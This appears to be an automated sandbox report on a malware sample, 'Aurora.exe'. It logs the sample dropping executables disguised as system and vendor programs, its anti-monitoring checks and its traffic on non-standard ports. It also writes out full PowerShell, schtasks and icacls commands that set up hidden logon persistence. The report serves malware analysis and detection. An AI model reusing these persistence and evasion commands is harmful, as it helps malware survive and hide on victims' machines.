Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }

Source: build.exe.0.dr

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: OneDrive.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3320c0
Source: vlc.exe.0.dr	Static PE information: real checksum: 0x596cd6 should be: 0x593b78
Source: OneDrive Updater.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x3320c0
Source: svchost.exe.19.dr	Static PE information: real checksum: 0x596cd6 should be: 0x593b78
Source: build.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x196cf
Source: Null.0.dr	Static PE information: real checksum: 0x1935a40 should be: 0x107475

Source: Aurora.exe	Static PE information: section name:
Source: Aurora.exe	Static PE information: section name:
Source: Aurora.exe	Static PE information: section name:
Source: Aurora.exe	Static PE information: section name: .themida
Source: Aurora.exe	Static PE information: section name: .boot
Source: vlc.exe.0.dr	Static PE information: section name: .xdata
Source: Null.0.dr	Static PE information: section name: .xdata
Source: Null.0.dr	Static PE information: section name: /4
Source: Null.0.dr	Static PE information: section name: /19
Source: Null.0.dr	Static PE information: section name: /31
Source: Null.0.dr	Static PE information: section name: /45
Source: Null.0.dr	Static PE information: section name: /57
Source: Null.0.dr	Static PE information: section name: /70
Source: Null.0.dr	Static PE information: section name: /81
Source: Null.0.dr	Static PE information: section name: /92
Source: Null.0.dr	Static PE information: section name: /106
Source: Null.0.dr	Static PE information: section name: /125
Source: Null.0.dr	Static PE information: section name: /141
Source: Null.0.dr	Static PE information: section name: /157
Source: svchost.exe.19.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9B9BD2A5 pushad ; iretd	22_2_00007FFD9B9BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD7B9A push eax; ret	22_2_00007FFD9BAD7BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD7BD3 push eax; ret	22_2_00007FFD9BAD7BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD36DC push esi; retf	22_2_00007FFD9BAD373A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD35D0 push esi; retf	22_2_00007FFD9BAD362A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD754D push ebx; iretd	22_2_00007FFD9BAD756A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 32_2_0549CB20 push 18418B05h; ret	32_2_0549CD83
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9B98D2A5 pushad ; iretd	58_2_00007FFD9B98D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9BAA3AD3 pushad ; ret	58_2_00007FFD9BAA3AD9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9BAA758D push ebx; iretd	58_2_00007FFD9BAA756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9BAA752B push ebx; iretd	58_2_00007FFD9BAA756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9BB71B79 push 7000001Bh; ret	58_2_00007FFD9BB71BB9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFD9BB728B4 push 70000028h; ret	58_2_00007FFD9BB728B9

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe

File created: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Aurora.exe	File created: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	File created: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	File created: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Aurora.exe	File created: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Aurora.exe	File created: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Aurora.exe	File created: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Aurora.exe	File created: \Device\Null	Jump to dropped file

Source: C:\Users\user\Desktop\Aurora.exe

File created: \Device\Null

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Edge			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDriveUpdate			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Aurora.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Edge	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Edge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDriveUpdate	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDriveUpdate	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe:Zone.Identifier read attributes | delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 28105

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\icacls.exe icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA)

Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
